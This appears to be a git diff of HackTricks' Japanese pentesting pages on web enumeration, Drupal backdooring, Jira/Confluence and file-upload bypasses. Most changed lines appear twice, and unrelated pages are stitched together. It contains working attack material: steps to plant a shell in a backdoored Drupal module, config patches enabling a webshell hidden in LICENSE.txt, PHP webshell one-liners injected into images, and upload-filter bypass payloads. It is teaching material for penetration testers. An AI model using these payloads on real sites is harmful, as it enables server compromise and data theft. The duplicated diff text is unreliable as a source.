ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\
ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\
ツール:
* **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます。
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可されていませんが**、再帰検索を許可します。
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的**検索はありません。
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速、再帰検索をサポートします。**
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速、再帰検索をサポートします。**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- 高速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): これはスパイダーではありませんが、見つかったURLのリストを与えると「重複」URLを削除します。
@ -294,30 +294,30 @@ _ブルートフォースやスパイダーリング中に新しいディレク
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **コメント:** すべてのファイルのコメントを確認してください。**資格情報**や**隠れた機能**が見つかるかもしれません
* **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**のコメント内に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用し、ウェブページの**下部**のコメントに**情報**隠すことです。
* **APIキー**: もし**APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](https://github.com/l4yton/RegHex\)/)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* **コメント:** すべてのファイルのコメントを確認してください。**資格情報**や**隠れた機能**を見つけることができます
* **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**のコメント内に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。の可能性は、**いくつかの新しい行**を使用し、ウェブページの**下部**のコメントに情報**隠す**ことです。
* **APIキー**: **APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](https://github.com/l4yton/RegHex\)/)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。
* **S3バケット**: スパイダーリング中に、**サブドメイン****リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/)。
* **S3バケット**: スパイダーリング中に、**サブドメイン**または**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/)。
### 特別な発見
**スパイダーリング**と**ブルートフォース**を実行しているときに、**興味深い****もの**を**見つける**ことがあります。
**スパイダーリング**と**ブルートフォース**を実行しているに、**興味深い****もの**を**見つける**ことがあります。
**興味深いファイル**
* **CSS**ファイル内の他のファイルへの**リンク**を探します。
* [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md)
* **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。
* **APIエンドポイント**を見つけた場合、[それらもテストするべきです](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。
* **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、変更があれば、潜在的な脆弱性がコードに導入されたことを示すかもしれないからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
* 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを調べるべきです。
* **APIエンドポイント**を見つけた場合、[それらもテストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。
* **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、場合によっては、変更がコードに潜在的な脆弱性が導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
* 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを確認する必要があります。
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)、[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)、[http://jsnice.org/](http://jsnice.org)
* **JsFuckのデオブフスケーション**文字でのjavascript:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* いくつかの場面で、使用されている正規表現を**理解する**必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com)
* **フォームが検出されたファイルを監視する**こともできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示すかもしれません
* フォームが検出されたファイルを**監視する**こともできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります
**403 Forbidden/Basic Authentication/401 Unauthorized (バイパス)**
@ -327,21 +327,21 @@ _ブルートフォースやスパイダーリング中に新しいディレク
**502 Proxy Error**
ページが**そのコード**で**応答**する場合、それはおそらく**不適切に構成されたプロキシ**です。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信するとホストヘッダーや他の一般的なヘッダーを含む、**プロキシ**は_**google.com**_に**アクセス**しようとし、**SSRF**を見つけることになります。
ページが**そのコード**で**応答**する場合、**不適切に構成されたプロキシ**の可能性があります。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信するとホストヘッダーや他の一般的なヘッダーを含む、**プロキシ**は**_google.com_**に**アクセス**しようとし、**SSRF**を見つけることになります。
**NTLM認証 - 情報漏洩**
認証を要求しているサーバーが**Windows**であるか、**資格情報**を要求するログインが見つかった場合(**ドメイン名**を要求する場合)、**情報漏洩**を引き起こすことができます。\
**ヘッダーを送信します**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`**NTLM認証の動作**により、サーバーは内部情報IISバージョン、Windowsバージョン...を「WWW-Authenticate」ヘッダー内で応答します。\
認証を要求しているサーバーが**Windows**であるか、**資格情報**を要求するログインを見つけた場合(**ドメイン名**を要求する場合)、**情報漏洩**を引き起こすことができます。\
**ヘッダーを送信します**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` そして、**NTLM認証の動作**により、サーバーは内部情報IISバージョン、Windowsバージョン...を「WWW-Authenticate」ヘッダー内で応答します。\
この操作は、**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。
**HTTPリダイレクト (CTF)**
**リダイレクション**内に**コンテンツ**を**挿入する**ことが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、そこに**隠されている**ものがあるかもしれません。
**リダイレクション**内に**コンテンツ**を**挿入**することが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、そこに**隠され**ものがあるかもしれません。
### ウェブ脆弱性の確認
ウェブアプリケーションの包括的な列挙が行われたので、多くの可能性のある脆弱性を確認する時が来ました。チェックリストはここにあります:
ウェブアプリケーションの包括的な列挙が行われたので、さまざまな可能性のある脆弱性を確認する時が来ました。チェックリストはここにあります:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -353,11 +353,11 @@ _ブルートフォースやスパイダーリング中に新しいディレク
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### ページの変更を監視する
### ページの変更を監視
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)のようなツールを使用して、脆弱性を挿入する可能性のある変更を監視できます。
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい場合 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -442,7 +442,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>

View file

@ -55,7 +55,7 @@ curl http://drupal-site.local/node/3
現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはできなくなりました。
{% endhint %}
バックドア付きモジュールは、**既存のモジュールにシェルを追加することによって作成できます**。モジュールはdrupal.orgウェブサイトで見つけることができます。例えば、[CAPTCHA](https://www.drupal.org/project/captcha)のようなモジュールを選びましょう。下にスクロールして、tar.gzの[アーカイブ](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)のリンクをコピーします。
バックドア付きモジュールは、**既存のモジュールにシェルを追加することによって作成できます**。モジュールはdrupal.orgウェブサイトで見つけることができます。例えば、[CAPTCHA](https://www.drupal.org/project/captcha)のようなモジュールを選びましょう。下にスクロールして、tar.gz [アーカイブ](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)のリンクをコピーします。
* アーカイブをダウンロードし、その内容を抽出します。
```
@ -80,7 +80,7 @@ RewriteBase /
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* **管理アクセス**があると仮定して、サイドバーの**`管理`**をクリックし、次に**`拡張`**をクリックします。次に、**`+ 新しいモジュールをインストール`**ボタンをクリックすると、インストールページ(例:`http://drupal-site.local/admin/modules/install`に移動します。バックドア付きのCaptchaアーカイブを参照し、**`インストール`**をクリックします。
* **管理アクセス**があると仮定して、サイドバーの**`管理`**をクリックし、次に**`拡張`**をクリックします。次に、**`新しいモジュールをインストール`**ボタンをクリックすると、インストールページ(例:`http://drupal-site.local/admin/modules/install`に移動します。バックドア付きのCaptchaアーカイブを参照し、**`インストール`**をクリックします。
* インストールが成功したら、**`/modules/captcha/shell.php`**に移動してコマンドを実行します。
## 設定同期を使用したDrupalのバックドア <a href="#backdooring-drupal" id="backdooring-drupal"></a>
@ -97,7 +97,7 @@ _拡張_メニュー/admin/modulesでは、すでにインストールさ
有効化後:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -108,11 +108,11 @@ _設定同期_機能を活用して、Drupalの設定エントリをダンプ
* /admin/config/development/configuration/single/export
* /admin/config/development/configuration/single/import
**system.file.ymlをパッチする**
**Patch system.file.yml**
最初のエントリ`allow_insecure_uploads`をパッチすることから始めましょう:
ファイルsystem.file.yml
ファイル: system.file.yml
```
...
@ -138,11 +138,11 @@ allow_insecure_uploads: true
```
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Patch field.field.media.document.field\_media\_document.yml**
**パッチ field.field.media.document.field\_media\_document.yml**
次に、2番目のエントリ `file_extensions` を以下のようにパッチします:
File: field.field.media.document.field\_media\_document.yml
ファイル: field.field.media.document.field\_media\_document.yml
```
...
@ -170,7 +170,7 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
### パート3機能 _Add Document_ の活用) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
### パート 3 (機能 _Add Document_ の活用) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
最後のステップは最も簡単で、2つのサブステップに分かれています。最初は、Apacheディレクティブを活用し、.txtファイルがPHPエンジンによって解釈されるようにするために、.htaccess形式のファイルをアップロードします。2つ目は、ペイロードを含む.txtファイルをアップロードすることです。
@ -198,7 +198,7 @@ WebサーバーにWebshellLICENSE.txtと呼ぶをドロップすると、`
なぜWebshellをLICENSE.txtと名付けるのか
単純に、例えば[core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)のようなファイルを取るとこれはDrupalコアにすでに存在しま、339行で17.6 KBのサイズのファイルがあり、真ん中に小さなPHPコードのスニペットを追加するのに最適ですファイルが十分に大きいため
単純に、例えば[core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)これはDrupalコアにすでに存在するファイルを取ると、339行で17.6 KBのサイズのファイルがあり、真ん中に小さなPHPコードのスニペットを追加するのに最適ですファイルが十分に大きいため
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -253,9 +253,9 @@ programs whose distribution conditions are different, write to the author
### Part 4 (interaction with the Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
最後の部分は、Webshell とのインタラクションで構成されています。
最後の部分は、Webshell とのインタラクションです。
以下のスクリーンショットに示されているように、Webshell によって期待されるクッキーが定義されていない場合、Web ブラウザを介してファイルを参照すると、次の結果が得られます。
以下のスクリーンショットに示されているように、Webshell に期待されるクッキーが定義されていない場合、Web ブラウザを介してファイルを参照すると、次の結果が得られます。
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>

View file

@ -15,17 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
## Check Privileges
## 権限の確認
Jiraでは、**権限は**認証されたユーザーであれ認証されていないユーザーであれ、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を通じて確認できます。これらのエンドポイントは、ユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持つ**場合、これは**セキュリティの脆弱性**を示し、**バウンティ**の対象となる可能性があります。同様に、**認証されたユーザーに対する予期しない権限**も**脆弱性**を強調します。
Jiraでは、**権限は任意のユーザーによって確認できます**。認証されたユーザーでも非認証のユーザーでも、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を通じて確認できます。これらのエンドポイントは、ユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持つ**ことは特に懸念され、これは**セキュリティの脆弱性**を示しており、**バウンティ**の対象となる可能性があります。同様に、**認証されたユーザーに対する予期しない権限**も**脆弱性**を強調します。
重要な**更新**が**2019年2月1日**に行われ、'mypermissions'エンドポイントには**'permission'パラメータ**を含める必要があります。この要件は、照会される権限を指定することによって**セキュリティを強化**することを目的としています: [ここで確認](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
重要な**更新**が**2019年2月1日**に行われ、'mypermissions'エンドポイントに**'permission'パラメータ**を含めることが要求されるようになりました。この要件は、照会される権限を指定することによって**セキュリティを強化**することを目的としています[ここで確認](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@ -69,7 +69,7 @@ Jiraでは、**権限は**認証されたユーザーであれ認証されてい
* VIEW\_VOTERS\_AND\_WATCHERS
* WORK\_ON\_ISSUES
Example: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
```bash
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
@ -126,10 +126,10 @@ XSSが見つかった場合、[**このgithubリポジトリ**](https://github.c
* **添付ファイルとページの抽出**:すべてのデータにアクセスし、抽出を許可します。
* **セッショントークンの盗難**レスポンス内のヘッダークッキーを含むをエコーするエンドポイントを追加し、それに連絡してクッキーを漏洩させるJavaScriptを追加します。
* **コマンド実行**:もちろん、コードを実行するプラグインを作成することが可能です。
* **リバースシェル**またはリバースシェルを取得します。
* **リバースシェル**リバースシェルを取得することもできます。
* **DOMプロキシング**Confluenceがプライベートネットワーク内にある場合、アクセス権を持つユーザーのブラウザを通じて接続を確立し、例えばサーバーコマンドを実行することが可能です。
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
@ -144,8 +144,8 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -26,7 +26,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
他の有用な拡張子:
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **PHPv8で動作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **PHPv8で動作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -50,7 +50,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
* _file._
* _file.php...._
* _file.pHp5...._
4. **サーバー側の拡張子パーサーをだまして**保護をバイパスしてみてください。**拡張子を二重にする**か、**ジャンク**データ(**null**バイト)を拡張子の間に追加します。 _前の拡張子を使用して、より良いペイロードを準備することもできます。_
4. **サーバー側の拡張子パーサーをだまして**保護をバイパスしてみてください。**拡張子を二重にする**か、**ジャンク**データ(**null**バイトを拡張子の間に追加します。_前の拡張子を使用して、より良いペイロードを準備することもできます。_
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@ -62,9 +62,9 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
5. **前のチェックに別の拡張子の層を追加**します:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. **有効な拡張子の前にexec拡張子を置き**、サーバーが誤って設定されていることを祈ります。(拡張子**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます
6. **有効な拡張子の前にexec拡張子を置き**、サーバーが誤って設定されていることを祈ります。(拡張子**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます
* _例: file.php.png_
7. **Windows**で**NTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後にコロン文字「:」を挿入し、許可されたものの前に挿入します。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます「file.asax:.jpg」。このファイルは、他の技術を使用して後で編集することができます。パターン「**::$data**」を使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます「file.asp::$data.」)
7. **WindowsのNTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後にコロン文字「:」を挿入し、許可された拡張子の前に挿入します。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます「file.asax:.jpg」。このファイルは、他の技術を使用して後で編集することができます。短いファイル名を使用することができます。「**::$data**」パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます「file.asp::$data.」)
8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。AAA<--SNIP-->AAA.php
```
@ -78,40 +78,40 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### コンテンツタイプ、マジックナンバー、圧縮&リサイズのバイパス
### Content-Type、マジックナンバー、圧縮&リサイズのバイパス
* **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します_image/png_ , _text/plain , application/octet-stream_
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します_image/png_、_text/plain_、_application/octet-stream_
1. Content-Type **ワードリスト**[https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* **マジックナンバー**チェックをバイパスするには、ファイルの先頭に**実際の画像のバイト**を追加します_file_コマンドを混乱させます。または、**メタデータ**内にシェルを挿入します:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` または、画像内にペイロードを**直接挿入**することもできます:\
`\`または、画像内にペイロードを**直接挿入**することもできます:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* **圧縮が画像に追加されている**場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。ただし、**PLTEチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
* **圧縮が画像に追加されている場合**、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。ただし、**PLTEチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。ただし、**IDATチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
* ウェブページが画像を**リサイズ**している可能性もあります。たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用しています。ただし、**IDATチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* 画像のリサイズを**生き残る**ペイロードを作成するための別の技術として、PHP-GD関数`thumbnailImage`を使用します。ただし、**tEXtチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
* 画像のリサイズを**生き残る**ペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。ただし、**tEXtチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### その他のチェックするトリック
* すでにアップロードされたファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。
* **ローカルファイルインクルージョン**脆弱性を見つけてバックドアを実行します。
